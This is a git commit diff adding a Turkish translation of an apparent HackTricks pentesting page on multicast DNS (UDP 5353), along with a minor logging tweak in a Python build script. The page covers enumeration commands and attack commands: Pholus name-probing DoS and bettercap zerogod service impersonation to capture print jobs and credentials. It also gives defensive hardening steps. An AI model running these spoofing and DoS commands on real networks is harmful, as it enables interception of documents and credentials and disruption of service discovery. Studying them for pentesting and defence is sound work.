Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns

This commit is contained in:
Translator 2025-08-20 14:16:58 +00:00
parent 1fd50dcac0
commit 06e510a09d
2 changed files with 118 additions and 26 deletions

View File

@ -65,7 +65,7 @@ def ref(matchobj):
dir = path.dirname(current_chapter['source_path'])
rel_path = path.normpath(path.join(dir,href))
try:
logger.debug(f'Error getting chapter title: {href} trying with relative path {rel_path}')
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
if "#" in href:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()

View File

@ -2,52 +2,142 @@
{{#include ../banners/hacktricks-training.md}}
## **Temel Bilgiler**
## Temel Bilgiler
**Multicast DNS (mDNS)**, yerel ağlar içinde geleneksel bir DNS sunucusuna ihtiyaç duymadan **DNS benzeri işlemler** gerçekleştirilmesini sağlar. **UDP port 5353** üzerinde çalışır ve cihazların birbirlerini ve hizmetlerini keşfetmelerine olanak tanır; bu, çeşitli IoT cihazlarında yaygın olarak görülmektedir. **DNS Hizmet Keşfi (DNS-SD)**, genellikle mDNS ile birlikte kullanılır ve standart DNS sorguları aracılığıyla ağda mevcut olan hizmetlerin tanımlanmasına yardımcı olur.
Multicast DNS (mDNS), tekil bir DNS sunucusu olmadan yerel bir bağlantı içinde DNS benzeri ad çözümü ve hizmet keşfi sağlar. UDP/5353 ve 224.0.0.251 (IPv4) ile FF02::FB (IPv6) çoklu adreslerini kullanır. DNS Hizmet Keşfi (DNS-SD, genellikle mDNS ile birlikte kullanılır), PTR, SRV ve TXT kayıtları aracılığıyla hizmetleri listelemek ve tanımlamak için standart bir yol sağlar.
```
PORT STATE SERVICE
5353/udp open zeroconf
```
### **mDNS İşleyişi**
Anahtar protokol detayları, saldırılar sırasında sıkça kullanacağınız:
- .local alanındaki isimler mDNS aracılığıyla çözülür.
- QU (Query Unicast) biti, çoklu yayın soruları için bile tekil yanıtlar talep edebilir.
- Uygulamalar, yerel bağlantıdan kaynaklanmayan paketleri göz ardı etmelidir; bazı yığınlar hala bunları kabul etmektedir.
- Sondalama/duyurma, benzersiz ana bilgisayar/hizmet isimlerini zorlar; burada müdahale etmek, DoS/"isim işgali" koşulları yaratır.
Standart bir DNS sunucusunun olmadığı ortamlarda, mDNS cihazların **.local** ile biten alan adlarını **224.0.0.251** (IPv4) veya **FF02::FB** (IPv6) çoklu yayın adresini sorgulayarak çözmesine olanak tanır. mDNS'in önemli yönleri arasında kayıt geçerliliğini belirten bir **Time-to-Live (TTL)** değeri ve unicast ile multicast sorguları ayırt eden bir **QU bit** bulunur. Güvenlik açısından, mDNS uygulamalarının paketin kaynak adresinin yerel alt ağ ile uyumlu olduğunu doğrulaması kritik öneme sahiptir.
## DNS-SD hizmet modeli
### **DNS-SD İşleyişi**
Hizmetler, .local altında _<service>._tcp veya _<service>._udp olarak tanımlanır, örneğin _ipp._tcp.local (yazıcılar), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge) vb. _services._dns-sd._udp.local ile türleri keşfedin, ardından keşfedilen örnekleri SRV/TXT/A/AAAA'ya çözün.
DNS-SD, hizmet türlerini örneklerine eşleyen işaretçi kayıtlarını (PTR) sorgulayarak ağ hizmetlerinin keşfini kolaylaştırır. Hizmetler, **.local** alanında **\_\<Service>.\_tcp veya \_\<Service>.\_udp** desenini kullanarak tanımlanır ve bu, ilgili **SRV** ve **TXT kayıtlarının** keşfine yol açar; bu kayıtlar hizmet hakkında ayrıntılı bilgi sağlar.
## Ağ Keşfi ve Sayımı
### **Ağ Keşfi**
#### **nmap Kullanımı**
mDNS hizmetlerini yerel ağda taramak için yararlı bir komut:
- nmap hedef taraması (bir ana bilgisayarda doğrudan mDNS):
```bash
nmap -Pn -sUC -p5353 [target IP address]
nmap -sU -p 5353 --script=dns-service-discovery <target>
```
Bu komut, açık mDNS portlarını ve bunlar üzerinden duyurulan hizmetleri tanımlamaya yardımcı olur.
#### **Pholus ile Ağ Sayımı**
mDNS isteklerini aktif olarak göndermek ve trafiği yakalamak için **Pholus** aracı aşağıdaki gibi kullanılabilir:
- nmap yayın keşfi (segmenti dinleyin ve tüm DNS-SD türlerini/örneklerini sayın):
```bash
sudo python3 pholus3.py [network interface] -rq -stimeout 10
sudo nmap --script=broadcast-dns-service-discovery
```
- avahi-browse (Linux):
```bash
# Hizmet türlerini listele
avahi-browse -bt _services._dns-sd._udp
# Tüm hizmetleri tarayın ve ana bilgisayar/port'a çözün
avahi-browse -art
```
- Apple dns-sd (macOS):
```bash
# Tüm HTTP hizmetlerini tarayın
dns-sd -B _http._tcp
# Hizmet türlerini sayın
dns-sd -B _services._dns-sd._udp
# Belirli bir örneği SRV/TXT'ye çözün
dns-sd -L "My Printer" _ipp._tcp local
```
- tshark ile paket yakalama:
```bash
# Canlı yakalama
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Sadece DNS-SD hizmet listesi sorgularını
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
```
İpucu: Bazı tarayıcılar/WebRTC, yerel IP'leri maskelemek için geçici mDNS ana bilgisayar adları kullanır. Eğer ağda rastgele-UUID.local adayları görüyorsanız, bunları mDNS ile çözerek yerel IP'lere geçiş yapın.
## Saldırılar
### **mDNS Sorgulamalarını İstismar Etme**
### mDNS isim sondalama müdahalesi (DoS / isim işgali)
Bir saldırı vektörü, mDNS sorgularına sahte yanıtlar göndererek, tüm potansiyel adların zaten kullanıldığını öne sürmekte ve böylece yeni cihazların benzersiz bir ad seçmesini engellemektedir. Bu, şu şekilde gerçekleştirilebilir:
Sondalama aşamasında, bir ana bilgisayar isim benzersizliğini kontrol eder. Sahte çelişkilerle yanıt vermek, yeni isimler seçmeye veya başarısız olmaya zorlar. Bu, hizmet kaydını ve keşfini geciktirebilir veya engelleyebilir.
Pholus ile örnek:
```bash
sudo python pholus.py [network interface] -afre -stimeout 1000
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
```
Bu teknik, yeni cihazların ağda hizmetlerini kaydetmelerini etkili bir şekilde engeller.
### Servis sahteciliği ve taklit (MitM)
**Özetle**, mDNS ve DNS-SD'nin çalışma prensiplerini anlamak, ağ yönetimi ve güvenliği için çok önemlidir. **nmap** ve **Pholus** gibi araçlar, yerel ağ hizmetleri hakkında değerli bilgiler sunarken, potansiyel zayıflıkların farkında olmak, saldırılara karşı korunmaya yardımcı olur.
Rekabetçi DNS-SD hizmetlerini (yazıcılar, AirPlay, HTTP, dosya paylaşımları) taklit ederek istemcileri sizinle bağlantı kurmaya zorlayın. Bu özellikle şunlar için faydalıdır:
- _ipp._tcp veya _printer._tcp taklit ederek belgeleri yakalamak.
- İstemcileri token/cookie toplamak veya yükler iletmek için HTTP/HTTPS hizmetlerine çekmek.
- Windows istemcileri taklit edilen hizmetlere kimlik doğrulaması yaparken NTLM iletim teknikleri ile birleştirmek.
### Spoofing/MitM
bettercapin zerogod modülü (mDNS/DNS-SD sahtecisi/taklitçisi) ile:
```bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
Bu hizmet üzerinden gerçekleştirebileceğiniz en ilginç saldırı, **istemci ile gerçek sunucu arasındaki iletişimde bir MitM** gerçekleştirmektir. Hassas dosyaları (yazıcı ile iletişimi MitM) veya hatta kimlik bilgilerini (Windows kimlik doğrulaması) elde etme şansınız olabilir.\
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
```
Ayrıca genel LLMNR/NBNS/mDNS/WPAD sahtecilik ve kimlik bilgisi yakalama/iletim iş akışlarına bakın:
{{#ref}}
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### Son uygulama sorunları hakkında notlar (engellemeler/süreklilik için yararlıdır)
- Avahi erişilebilirlik-iddası ve D-Bus çökme hataları (2023), Linux dağıtımlarında avahi-daemon'u sonlandırabilir (örneğin, CVE-2023-38469..38473, CVE-2023-1981), hedef ana bilgisayarlarda hizmet keşfini kesintiye uğratır.
- Cisco IOS XE Kablosuz LAN Kontrolörü mDNS geçidi DoS (2024, CVE-2024-20303), komşu saldırganların yüksek CPU kullanımı sağlamasına ve AP'leri koparmasına olanak tanır. VLAN'lar arasında bir mDNS geçidi ile karşılaşırsanız, hatalı veya yüksek hızlı mDNS altında kararlılığına dikkat edin.
## Savunma dikkate alımları ve OPSEC
- Segment sınırları: 224.0.0.251/FF02::FB'yi güvenlik bölgeleri arasında yönlendirmeyin, mDNS geçidi açıkça gerekli olmadıkça. Keşfi köprülemek zorundaysanız, izin listelerini ve hız sınırlamalarını tercih edin.
- Windows uç noktaları/sunucular:
- mDNS üzerinden ad çözümlemesini zorla devre dışı bırakmak için kayıt defteri değerini ayarlayın ve yeniden başlatın:
```
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
```
- Yönetilen ortamlarda, yerleşik “mDNS (UDP-In)” Windows Defender Güvenlik Duvarı kuralını devre dışı bırakın (en azından Alan profilinde) böylece ev/gezinme işlevselliğini korurken gelen mDNS işlemesini engelleyin.
- Daha yeni Windows 11 sürümlerinde/GPO şablonlarında, “Bilgisayar Yapılandırması > Yönetim Şablonları > Ağ > DNS İstemcisi > çoklu yayın DNS (mDNS) protokolünü yapılandır” politikasını kullanın ve Devre Dışı olarak ayarlayın.
- Linux (Avahi):
- Gerekmediğinde yayınlamayı kısıtlayın: `disable-publishing=yes` ayarlayın ve `/etc/avahi/avahi-daemon.conf` dosyasında `allow-interfaces=` / `deny-interfaces=` ile arayüzleri kısıtlayın.
- `check-response-ttl=yes` düşünün ve kesinlikle gerekli olmadıkça `enable-reflector=yes` kullanmaktan kaçının; yansıtma sırasında `reflect-filters=` izin listelerini tercih edin.
- macOS: Belirli alt ağlar için Bonjour keşfi gerekmediğinde, ana bilgisayar/ağ güvenlik duvarlarında gelen mDNS'yi kısıtlayın.
- İzleme: `_services._dns-sd._udp.local` sorgularında alışılmadık artışlar veya kritik hizmetlerin SRV/TXT'lerinde ani değişiklikler için uyarı verin; bunlar sahtecilik veya hizmet taklidi göstergeleridir.
## Araçlar hızlı referansı
- nmap NSE: `dns-service-discovery` ve `broadcast-dns-service-discovery`.
- Pholus: aktif tarama, ters mDNS taramaları, DoS ve sahtecilik yardımcıları.
```bash
# Pasif dinleme (zaman aşımı saniyeleri)
sudo python3 pholus3.py <iface> -stimeout 60
# Hizmet türlerini listele
sudo python3 pholus3.py <iface> -sscan
# Genel mDNS istekleri gönder
sudo python3 pholus3.py <iface> --request
# Bir alt ağın ters mDNS taraması
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
```
- bettercap zerogod: mDNS/DNS-SD hizmetlerini keşfetme, kaydetme, duyurma ve taklit etme (yukarıdaki örneklere bakın).
## Sahtecilik/MitM
Bu hizmet üzerinden gerçekleştirebileceğiniz en ilginç saldırı, istemci ile gerçek sunucu arasındaki iletişimde bir MitM gerçekleştirmektir. Hassas dosyaları (yazıcı ile iletişimi MitM) veya hatta kimlik bilgilerini (Windows kimlik doğrulaması) elde etme şansınız olabilir.\
Daha fazla bilgi için kontrol edin:
{{#ref}}
@ -57,5 +147,7 @@ Daha fazla bilgi için kontrol edin:
## Referanslar
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y)
- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html)
- [bettercap zerogod (mDNS/DNS-SD keşfi, sahtecilik, taklit)](https://www.bettercap.org/modules/ethernet/zerogod/)
{{#include ../banners/hacktricks-training.md}}